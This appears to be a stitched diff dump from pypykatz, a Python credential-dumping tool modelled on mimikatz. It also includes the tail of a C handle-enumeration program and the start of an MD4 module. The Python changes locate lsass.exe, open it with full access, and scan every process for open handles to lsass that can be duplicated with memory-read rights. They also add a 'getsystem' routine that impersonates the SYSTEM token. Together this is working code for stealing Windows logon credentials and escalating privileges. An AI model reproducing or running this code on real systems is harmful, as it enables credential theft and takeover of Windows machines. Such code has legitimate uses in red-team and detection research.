174 | HANDLE dupHandle = NULL; | |
175 | POBJECT_TYPE_INFORMATION objectTypeInfo; | |
176 | PVOID objectNameInfo; | |
177 | UNICODE_STRING objectName; | |
178 | ULONG returnLength; | |
179 | ||
180 | // Check if this handle belongs to the PID the user specified. | |
181 | if (handle.ProcessId != pid) | |
182 | continue; | |
183 | ||
184 | // Duplicate the handle so we can query it. | |
185 | if (!NT_SUCCESS(NtDuplicateObject( | |
186 | processHandle, | |
187 | (void*) handle.Handle, | |
188 | GetCurrentProcess(), | |
189 | &dupHandle, | |
190 | 0, | |
191 | 0, | |
192 | 0 | |
193 | ))) { | |
194 | ||
195 | printf("[%#x] Error!\n", handle.Handle); | |
196 | continue; | |
197 | } | |
198 | ||
199 | // Query the object type. | |
200 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); | |
201 | if (!NT_SUCCESS(NtQueryObject( | |
202 | dupHandle, | |
203 | ObjectTypeInformation, | |
204 | objectTypeInfo, | |
205 | 0x1000, | |
206 | NULL | |
207 | ))) { | |
208 | ||
209 | printf("[%#x] Error!\n", handle.Handle); | |
210 | CloseHandle(dupHandle); | |
211 | continue; | |
212 | } | |
213 | ||
214 | // Query the object name (unless it has an access of | |
215 | // 0x0012019f, on which NtQueryObject could hang. | |
216 | if (handle.GrantedAccess == 0x0012019f) { | |
217 | ||
218 | // We have the type, so display that. | |
219 | printf( | |
220 | "[%#x] %.*S: (did not get name)\n", | |
221 | handle.Handle, | |
222 | objectTypeInfo->Name.Length / 2, | |
223 | objectTypeInfo->Name.Buffer | |
224 | ); | |
225 | ||
226 | free(objectTypeInfo); | |
227 | CloseHandle(dupHandle); | |
228 | continue; | |
229 | } | |
230 | ||
231 | objectNameInfo = malloc(0x1000); | |
232 | if (!NT_SUCCESS(NtQueryObject( | |
233 | dupHandle, | |
234 | ObjectNameInformation, | |
235 | objectNameInfo, | |
236 | 0x1000, | |
237 | &returnLength | |
238 | ))) { | |
239 | ||
240 | // Reallocate the buffer and try again. | |
241 | objectNameInfo = realloc(objectNameInfo, returnLength); | |
242 | if (!NT_SUCCESS(NtQueryObject( | |
243 | dupHandle, | |
244 | ObjectNameInformation, | |
245 | objectNameInfo, | |
246 | returnLength, | |
247 | NULL | |
248 | ))) { | |
249 | ||
250 | // We have the type name, so just display that. | |
251 | printf( | |
252 | "[%#x] %.*S: (could not get name)\n", | |
253 | handle.Handle, | |
254 | objectTypeInfo->Name.Length / 2, | |
255 | objectTypeInfo->Name.Buffer | |
256 | ); | |
257 | ||
258 | free(objectTypeInfo); | |
259 | free(objectNameInfo); | |
260 | CloseHandle(dupHandle); | |
261 | continue; | |
262 | } | |
263 | } | |
264 | ||
265 | // Cast our buffer into an UNICODE_STRING. | |
266 | objectName = *(PUNICODE_STRING)objectNameInfo; | |
267 | ||
268 | // Print the information! | |
269 | if (objectName.Length) | |
270 | { | |
271 | // The object has a name. | |
272 | printf( | |
273 | "[%#x] %.*S: %.*S\n", | |
274 | handle.Handle, | |
275 | objectTypeInfo->Name.Length / 2, | |
276 | objectTypeInfo->Name.Buffer, | |
277 | objectName.Length / 2, | |
278 | objectName.Buffer | |
279 | ); | |
280 | } | |
281 | else { | |
282 | // Print something else. | |
283 | printf( | |
284 | "[%#x] %.*S: (unnamed)\n", | |
285 | handle.Handle, | |
286 | objectTypeInfo->Name.Length / 2, | |
287 | objectTypeInfo->Name.Buffer | |
288 | ); | |
289 | } | |
290 | ||
291 | free(objectTypeInfo); | |
292 | free(objectNameInfo); | |
293 | CloseHandle(dupHandle); | |
294 | } | |
295 | ||
296 | free(handleInfo); | |
297 | CloseHandle(processHandle); | |
298 | ||
299 | return 0; | |
300 | } |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from .kernel32 import * | |
7 | from .psapi import * | |
6 | from pypykatz.commons.readers.local.common.kernel32 import * | |
7 | from pypykatz.commons.readers.local.common.psapi import * | |
8 | 8 | |
9 | 9 | class WindowsMinBuild(enum.Enum): |
10 | 10 | WIN_XP = 2500 |
47 | 47 | else: |
48 | 48 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF |
49 | 49 | |
50 | ||
51 | def QueryDosDevice(drive_letter): | |
52 | buffer_length = 1024 | |
53 | buf = ctypes.create_unicode_buffer(buffer_length) | |
54 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
55 | if status == 0: | |
56 | raise ctypes.WinError() | |
57 | return buf.value | |
58 | ||
59 | ||
60 | def get_drives(): | |
61 | drives = [] | |
62 | bitmask = windll.kernel32.GetLogicalDrives() | |
63 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
64 | if bitmask & 1: | |
65 | drives.append(letter + ':') | |
66 | bitmask >>= 1 | |
67 | return drives | |
68 | ||
69 | def get_device_prefixes(): | |
70 | device_prefixes = {} | |
71 | drives = get_drives() | |
72 | for drive in drives: | |
73 | device_prefixes[QueryDosDevice(drive)] = drive | |
74 | return device_prefixes | |
75 | ||
76 | DEVICE_PREFIXES = get_device_prefixes() | |
77 | ||
78 | WINDOWS_BUILD_NUMBER = getWindowsBuild() | |
50 | 79 | PROCESS_QUERY_INFORMATION = 0x0400 |
80 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 | |
51 | 81 | PROCESS_VM_READ = 0x0010 |
52 | ||
53 | ||
82 | MAXIMUM_ALLOWED = 33554432 | |
83 | STATUS_INFO_LENGTH_MISMATCH = -1073741820 | |
84 | MAX_PATH_UNICODE = 1 << 15 | |
85 | ||
86 | # Get full normalized image path of a process using NtQuerySystemInformation | |
87 | # It doesn't need any special privileges | |
88 | def get_process_full_imagename(pid): | |
89 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
90 | image_filename = '' | |
91 | buf = ctypes.create_unicode_buffer(0x1000) | |
92 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
93 | process_info.ProcessId = ctypes.c_void_p(pid) | |
94 | process_info.ImageName.MaximumLength = len(buf) | |
95 | process_info.ImageName.Buffer = addressof(buf) | |
96 | status = _NtQuerySystemInformation( | |
97 | SystemProcessIdInformation, | |
98 | process_info, | |
99 | sizeof(process_info), | |
100 | None) | |
101 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
102 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
103 | process_info.ImageName.MaximumLength = len(buf) | |
104 | process_info.ImageName.Buffer = addressof(buf) | |
105 | status = _NtQuerySystemInformation( | |
106 | SystemProcessIdInformation, | |
107 | process_info, | |
108 | sizeof(process_info), | |
109 | None) | |
110 | if status == 0: | |
111 | image_filename = str(process_info.ImageName.Buffer) | |
112 | if image_filename.startswith('\\Device\\'): | |
113 | for win_path in DEVICE_PREFIXES: | |
114 | if image_filename.startswith(win_path): | |
115 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
116 | else: | |
117 | image_filename = 'N/A' | |
118 | return image_filename | |
119 | ||
120 | PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"] | |
121 | PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
122 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
123 | PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"] | |
124 | ||
54 | 125 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
126 | #def enum_process_names(): | |
127 | # pid_to_fullname = {} | |
128 | # | |
129 | # for pid in EnumProcesses(): | |
130 | # if pid == 0: | |
131 | # continue | |
132 | # | |
133 | # pid_to_fullname[pid] = get_process_full_imagename(pid) | |
134 | # return pid_to_fullname | |
135 | ||
55 | 136 | def enum_process_names(): |
56 | 137 | pid_to_name = {} |
57 | 138 | |
66 | 147 | |
67 | 148 | pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) |
68 | 149 | return pid_to_name |
69 | ||
150 | ||
151 | def get_process_extended_basic_information(pid,process_handle=None): | |
152 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
153 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
154 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
155 | if process_handle == None: | |
156 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
157 | ||
158 | status = _NtQueryInformationProcess(process_handle, | |
159 | ProcessBasicInformation, | |
160 | byref(process_basic_info), | |
161 | process_basic_info.Size, | |
162 | None) | |
163 | if status < 0: | |
164 | raise ctypes.WinError() | |
165 | CloseHandle(process_handle) | |
166 | return process_basic_info | |
167 | ||
168 | ||
169 | def get_protected_process_infos(pid,process_handle=None): | |
170 | process_protection_infos = None | |
171 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
172 | if process_handle == None: | |
173 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
174 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
175 | protection_info = PS_PROTECTION() | |
176 | status = _NtQueryInformationProcess(process_handle, | |
177 | ProcessProtectionInformation, | |
178 | byref(protection_info), | |
179 | sizeof(protection_info), | |
180 | None) | |
181 | if status < 0: | |
182 | raise ctypes.WinError() | |
183 | if protection_info.Type > 0: | |
184 | process_protection_infos = {"level": protection_info.Level, | |
185 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
186 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
187 | "audit": protection_info.Audit} | |
188 | else: | |
189 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
190 | if _ps_extended_basic_information.IsProtectedProcess: | |
191 | process_protection_infos = {"type": 'System protected process'} | |
192 | CloseHandle(process_handle) | |
193 | return process_protection_infos | |
70 | 194 | |
71 | 195 | def get_lsass_pid(): |
72 | 196 | pid_to_name = enum_process_names() |
73 | 197 | for pid in pid_to_name: |
74 | if pid_to_name[pid].lower().find('lsass.exe') != -1: | |
198 | if pid_to_name[pid].lower().endswith('lsass.exe'): | |
75 | 199 | return pid |
76 | 200 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
201 | raise Exception('Failed to find lsass.exe') |
292 | 292 | |
293 | 293 | |
294 | 294 | class LiveReader: |
295 | def __init__(self): | |
295 | def __init__(self, lsass_process_handle = None): | |
296 | 296 | self.processor_architecture = None |
297 | 297 | self.lsass_process_name = 'lsass.exe' |
298 | self.lsass_process_handle = None | |
298 | self.lsass_process_handle = lsass_process_handle | |
299 | 299 | self.current_position = None |
300 | 300 | self.BuildNumber = None |
301 | 301 | self.modules = [] |
338 | 338 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 339 | self.BuildNumber = int(buildnumber) |
340 | 340 | |
341 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | 341 | if self.lsass_process_handle is None: |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Checking Lsass.exe protection status') | |
346 | #proc_protection_info = get_protected_process_infos(pid) | |
347 | #protection_msg = "Protection Status: No protection" | |
348 | #if proc_protection_info: | |
349 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
350 | # if 'signer' in proc_protection_info: | |
351 | # protection_msg += f" ({proc_protection_info['signer']})" | |
352 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
353 | #logging.log(1, protection_msg) | |
354 | logging.log(1, 'Opening lsass.exe') | |
355 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
356 | if self.lsass_process_handle is None: | |
357 | raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) | |
358 | else: | |
359 | logging.debug('Using pre-defined handle') | |
350 | 360 | logging.log(1, 'Enumerating modules') |
351 | 361 | module_handles = EnumProcessModules(self.lsass_process_handle) |
352 | 362 | for module_handle in module_handles: |
224 | 224 | t = cred.to_dict() |
225 | 225 | if t['credtype'] != 'dpapi': |
226 | 226 | if t['password'] is not None: |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), ''] | |
228 | 228 | yield 0, x |
229 | 229 | else: |
230 | 230 | t = cred.to_dict() |
205 | 205 | self.Data3 = WORD(reader).value |
206 | 206 | self.Data4 = reader.read(8) |
207 | 207 | self.value = '-'.join([ |
208 | hex(self.Data1)[2:], | |
209 | hex(self.Data2)[2:], | |
210 | hex(self.Data3)[2:], | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:], | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:] | |
208 | hex(self.Data1)[2:].zfill(8), | |
209 | hex(self.Data2)[2:].zfill(4), | |
210 | hex(self.Data3)[2:].zfill(4), | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) | |
213 | 213 | ]) |
214 | ||
215 | @staticmethod | |
216 | def from_string(str): | |
217 | guid = GUID() | |
218 | guid.Data1 = bytes.fromhex(str.split('-')[0]) | |
219 | guid.Data2 = bytes.fromhex(str.split('-')[1]) | |
220 | guid.Data3 = bytes.fromhex(str.split('-')[2]) | |
221 | guid.Data4 = bytes.fromhex(str.split('-')[3]) | |
222 | guid.Data4 += bytes.fromhex(str.split('-')[4]) | |
223 | return guid | |
214 | 224 | |
215 | 225 | class PLIST_ENTRY(POINTER): |
216 | 226 | def __init__(self, reader): |
221 | 231 | self.location = reader.tell() |
222 | 232 | self.Flink = PLIST_ENTRY(reader) |
223 | 233 | self.Blink = PLIST_ENTRY(reader) |
224 | ⏎ | |
234 |
0 | 0 | |
1 | 1 | import ctypes |
2 | 2 | from pypykatz.commons.winapi.constants import * |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
4 | 4 | from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW |
5 | 5 | |
6 | 6 | |
72 | 72 | @staticmethod |
73 | 73 | def SetThreadToken(token_handle, thread_handle = None): |
74 | 74 | return SetThreadToken(token_handle, thread_handle = thread_handle) |
75 | ||
76 | @staticmethod | |
77 | def RevertToSelf(): | |
78 | return RevertToSelf() | |
75 | 79 | ⏎ |
3204 | 3204 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): |
3205 | 3205 | raise ctypes.WinError() |
3206 | 3206 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) |
3207 | for index in xrange(0, ServicesReturned.value): | |
3207 | for index in range(0, ServicesReturned.value): | |
3208 | 3208 | Services.append( ServiceStatusEntry(lpServicesArray[index]) ) |
3209 | 3209 | if success: break |
3210 | 3210 | if not success: |
3318 | 3318 | |
3319 | 3319 | _SetThreadToken(thread_handle, token_handle) |
3320 | 3320 | |
3321 | ||
3321 | def RevertToSelf(): | |
3322 | _RevertToSelf = windll.advapi32.RevertToSelf | |
3323 | _RevertToSelf.argtypes = [] | |
3324 | _RevertToSelf.restype = bool | |
3325 | _RevertToSelf.errcheck = RaiseIfZero | |
3326 | ||
3327 | _RevertToSelf() | |
3322 | 3328 | |
3323 | 3329 | #============================================================================== |
3324 | 3330 | # This calculates the list of exported symbols. |
702 | 702 | ("MaximumLength", USHORT), |
703 | 703 | ("Buffer", PVOID), |
704 | 704 | ] |
705 | ||
706 | def getString(self): | |
707 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') | |
705 | 708 | |
706 | 709 | # From MSDN: |
707 | 710 | # |
64 | 64 | WRITE_WATCH_FLAG_RESET = 0x01 |
65 | 65 | FILE_MAP_ALL_ACCESS = 0xF001F |
66 | 66 | |
67 | PROCESS_DUP_HANDLE = 0x0040 | |
68 | ||
67 | 69 | class UserModeHandle (HANDLE): |
68 | 70 | """ |
69 | 71 | Base class for non-kernel handles. Generally this means they are closed |
341 | 343 | _GetCurrentProcessId.argtypes = [] |
342 | 344 | _GetCurrentProcessId.restype = DWORD |
343 | 345 | return _GetCurrentProcessId() |
346 | ||
347 | # HANDLE WINAPI GetCurrentProcess(void); | |
348 | def GetCurrentProcess(): | |
349 | ## return 0xFFFFFFFFFFFFFFFFL | |
350 | _GetCurrentProcess = windll.kernel32.GetCurrentProcess | |
351 | _GetCurrentProcess.argtypes = [] | |
352 | _GetCurrentProcess.restype = HANDLE | |
353 | return _GetCurrentProcess() | |
344 | 354 | |
345 | 355 | # BOOL WINAPI QueryFullProcessImageName( |
346 | 356 | # __in HANDLE hProcess, |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from pypykatz import logger | |
7 | from .ntdll import * | |
6 | 8 | from .kernel32 import * |
7 | 9 | from .psapi import * |
8 | 10 | |
74 | 76 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 77 | return pid |
76 | 78 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
79 | raise Exception('Failed to find lsass.exe') | |
80 | ||
81 | def enum_lsass_handles(): | |
82 | #searches for open LSASS process handles in all processes | |
83 | # you should be having SE_DEBUG enabled at this point | |
84 | RtlAdjustPrivilege(20) | |
85 | ||
86 | lsass_handles = [] | |
87 | sysinfohandles = NtQuerySystemInformation(16) | |
88 | for pid in sysinfohandles: | |
89 | if pid == 4: | |
90 | continue | |
91 | #if pid != GetCurrentProcessId(): | |
92 | # continue | |
93 | for syshandle in sysinfohandles[pid]: | |
94 | #print(pid) | |
95 | try: | |
96 | pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) | |
97 | except Exception as e: | |
98 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) | |
99 | continue | |
100 | ||
101 | try: | |
102 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) | |
103 | #print(dupHandle) | |
104 | except Exception as e: | |
105 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
106 | continue | |
107 | ||
108 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) | |
109 | if oinfo.Name.getString() == 'Process': | |
110 | try: | |
111 | pname = QueryFullProcessImageNameW(dupHandle) | |
112 | if pname.lower().find('lsass.exe') != -1: | |
113 | logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
114 | #print('%s : %s' % (pid, pname)) | |
115 | lsass_handles.append((pid, dupHandle)) | |
116 | except Exception as e: | |
117 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
118 | continue | |
119 | ||
120 | return lsass_handles | |
121 | ⏎ |
2 | 2 | from ctypes import windll |
3 | 3 | from ctypes.wintypes import ULONG, BOOL,LONG |
4 | 4 | |
5 | from .defines import * | |
5 | from pypykatz.commons.winapi.local.function_defs.defines import * | |
6 | ||
7 | SystemHandleInformation = 16 | |
8 | ObjectBasicInformation = 0 | |
9 | ObjectNameInformation = 1 | |
10 | ObjectTypeInformation = 2 | |
11 | ||
12 | ||
13 | POOL_TYPE = ctypes.c_int | |
14 | NonPagedPool = 1 | |
15 | PagedPool = 2 | |
16 | NonPagedPoolMustSucceed = 3 | |
17 | DontUseThisType = 4 | |
18 | NonPagedPoolCacheAligned = 5 | |
19 | PagedPoolCacheAligned = 6 | |
20 | NonPagedPoolCacheAlignedMustS = 7 | |
21 | ||
22 | # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping | |
23 | class GENERIC_MAPPING(Structure): | |
24 | _fields_ = [ | |
25 | ("GenericRead", ACCESS_MASK ), | |
26 | ("GenericWrite", ACCESS_MASK ), | |
27 | ("GenericExecute", ACCESS_MASK ), | |
28 | ("GenericAll", ACCESS_MASK ), | |
29 | ] | |
30 | ||
31 | PGENERIC_MAPPING = POINTER(GENERIC_MAPPING) | |
32 | ||
33 | class SYSTEM_HANDLE(Structure): | |
34 | _fields_ = [ | |
35 | ("ProcessId", ULONG), | |
36 | ("ObjectTypeNumber", BYTE), | |
37 | ("Flags", BYTE), | |
38 | ("Handle", USHORT), | |
39 | ("Object", PVOID), | |
40 | ("GrantedAccess", ACCESS_MASK), | |
41 | ] | |
42 | ||
43 | PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE) | |
44 | ||
45 | #class SYSTEM_HANDLE_INFORMATION(Structure): | |
46 | # _fields_ = [ | |
47 | # ("HandleCount", ULONG), | |
48 | # ("Handles", SYSTEM_HANDLE), #not just one handle | |
49 | # ] | |
50 | # | |
51 | #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION) | |
52 | ||
53 | class OBJECT_TYPE_INFORMATION(Structure): | |
54 | _fields_ = [ | |
55 | ("Name", UNICODE_STRING), | |
56 | ("TotalNumberOfObjects", ULONG), | |
57 | ("TotalNumberOfHandles", ULONG), | |
58 | ("TotalPagedPoolUsage", ULONG), | |
59 | ("TotalNonPagedPoolUsage", ULONG), | |
60 | ("TotalNamePoolUsage", ULONG), | |
61 | ("TotalHandleTableUsage", ULONG), | |
62 | ("HighWaterNumberOfObjects", ULONG), | |
63 | ("HighWaterNumberOfHandles", ULONG), | |
64 | ("HighWaterPagedPoolUsage", ULONG), | |
65 | ("HighWaterNonPagedPoolUsage", ULONG), | |
66 | ("HighWaterNamePoolUsage", ULONG), | |
67 | ("HighWaterHandleTableUsage", ULONG), | |
68 | ("GenericMapping", GENERIC_MAPPING), | |
69 | ("ValidAccess", ULONG), | |
70 | ("SecurityRequired", BOOLEAN), | |
71 | ("MaintainHandleCount", BOOLEAN), | |
72 | ("MaintainTypeList", USHORT), | |
73 | ("PoolType", POOL_TYPE), | |
74 | ("PagedPoolUsage", ULONG), | |
75 | ("NonPagedPoolUsage", ULONG), | |
76 | ] | |
77 | ||
78 | POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION) | |
79 | ||
6 | 80 | |
7 | 81 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html |
8 | 82 | # BOOL WINAPI RtlAdjustPrivilege( |
27 | 101 | if status != 0: |
28 | 102 | raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status) |
29 | 103 | |
30 | return Enabled.value⏎ | |
104 | return Enabled.value | |
105 | ||
106 | # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation | |
107 | def NtQuerySystemInformation(info_type): | |
108 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
109 | _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG] | |
110 | _NtQuerySystemInformation.restype = ULONG | |
111 | ||
112 | handleinfos = {} | |
113 | ||
114 | if info_type != 16: | |
115 | raise Exception('info_type only the value 16 is supported!') | |
116 | ||
117 | size = DWORD(0x10) | |
118 | data = ctypes.create_string_buffer(size.value) | |
119 | while True: | |
120 | #_NtQuerySystemInformation returns an incorrect expected size... | |
121 | size = DWORD(size.value*2) | |
122 | data = ctypes.create_string_buffer(size.value) | |
123 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
124 | if status == 0: | |
125 | break | |
126 | if status != 0xC0000004: | |
127 | raise Exception('NtQuerySystemInformation returned %s' % hex(status)) | |
128 | ||
129 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
130 | ||
131 | data_bytes = bytearray(data.raw[:size.value]) | |
132 | ||
133 | hc = ULONG.from_buffer(data_bytes) | |
134 | ||
135 | class SYSTEM_HANDLE_INFORMATION(Structure): | |
136 | _fields_ = [ | |
137 | ("HandleCount", ULONG), | |
138 | ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle | |
139 | ] | |
140 | ||
141 | ||
142 | syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes) | |
143 | ||
144 | for i in range(syshandleinfo.HandleCount): | |
145 | if not syshandleinfo.Handles[i].ProcessId in handleinfos: | |
146 | handleinfos[syshandleinfo.Handles[i].ProcessId] = [] | |
147 | handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i]) | |
148 | ||
149 | return handleinfos | |
150 | ||
151 | ||
152 | def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0): | |
153 | """ | |
154 | privilige_id: int | |
155 | """ | |
156 | _NtDuplicateObject = windll.ntdll.NtDuplicateObject | |
157 | _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG] | |
158 | _NtDuplicateObject.restype = ULONG | |
159 | ||
160 | ||
161 | ||
162 | oHandle = HANDLE() | |
163 | status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0) | |
164 | if status != 0: | |
165 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % status) | |
166 | ||
167 | return oHandle | |
168 | ||
169 | def NtQueryObject(ObjectHandle, ObjectInformationClass): | |
170 | """ | |
171 | privilige_id: int | |
172 | """ | |
173 | _NtQueryObject = windll.ntdll.NtQueryObject | |
174 | _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG] | |
175 | _NtQueryObject.restype = ULONG | |
176 | ||
177 | #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]: | |
178 | if ObjectInformationClass != ObjectTypeInformation: | |
179 | raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass ) | |
180 | ||
181 | size = ULONG(0x10) | |
182 | oinfo_data = ctypes.create_string_buffer(size.value) | |
183 | ||
184 | while True: | |
185 | oinfo_data = ctypes.create_string_buffer(size.value) | |
186 | status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size)) | |
187 | if status == 0xc0000004: | |
188 | continue | |
189 | if status != 0: | |
190 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status)) | |
191 | ||
192 | break | |
193 | ||
194 | if ObjectInformationClass == ObjectNameInformation: | |
195 | raise NotImplementedError('TODO: implement me when needed!') | |
196 | elif ObjectInformationClass == ObjectTypeInformation: | |
197 | oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value])) | |
198 | ||
199 | return oinfo | |
200 | ⏎ |
202 | 202 | else: |
203 | 203 | logger.debug('[ProcessManipulator] Sucsessfully created process!') |
204 | 204 | break |
205 | ||
206 | def getsystem(self): | |
207 | self.assign_token_thread_sid('S-1-5-18') | |
208 | ||
209 | def dropsystem(self): | |
210 | self.api.advapi32.RevertToSelf() | |
205 | 211 | |
206 | 212 | if __name__ == '__main__': |
207 | 213 | pm = ProcessManipulator() |
0 | #!/usr/bin/env python3 | |
1 | # -*- coding: utf-8 -*- | |
2 | # | |
3 | # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic). | |
4 | # | |
5 | # This file is released under the WTFPL, version 2 (wtfpl.net). | |
6 | # | |
7 | # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. | |
8 | # | |
9 | # Description: Zounds! Yet another rendition of pseudocode from RFC1320! | |
10 | # Bonus points for the algorithm literally being from 1992. | |
11 | # | |
12 | # Usage: Why would anybody use this? This is self-rolled crypto, and | |
13 | # self-rolled *obsolete* crypto at that. DO NOT USE if you need | |
14 | # something "performant" or "secure". :P | |
15 | # | |
16 | # Anyway, from the command line: | |
17 | # | |
18 | # $ ./md4.py [messages] | |
19 | # | |
20 | # where [messages] are some strings to be hashed. | |
21 | # | |
22 | # In Python, use similarly to hashlib (not that it even has MD4): | |
23 | # | |
24 | # from .md4 import MD4 | |
25 | # | |
26 | # digest = MD4("BEES").hexdigest() | |
27 | # | |
28 | # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68" | |
29 | # | |
30 | # | |
31 | # Sample console output: | |
32 | # | |
33 | # Testing the MD4 class. | |
34 | # | |
35 | # Message: b'' | |
36 | # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
37 | # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
38 | # | |
39 | # Message: b'The quick brown fox jumps over the lazy dog' | |
40 | # Expected: 1bee69a46ba811185c194762abaeae90 | |
41 | # Actual: 1bee69a46ba811185c194762abaeae90 | |
42 | # | |
43 | # Message: b'BEES' | |
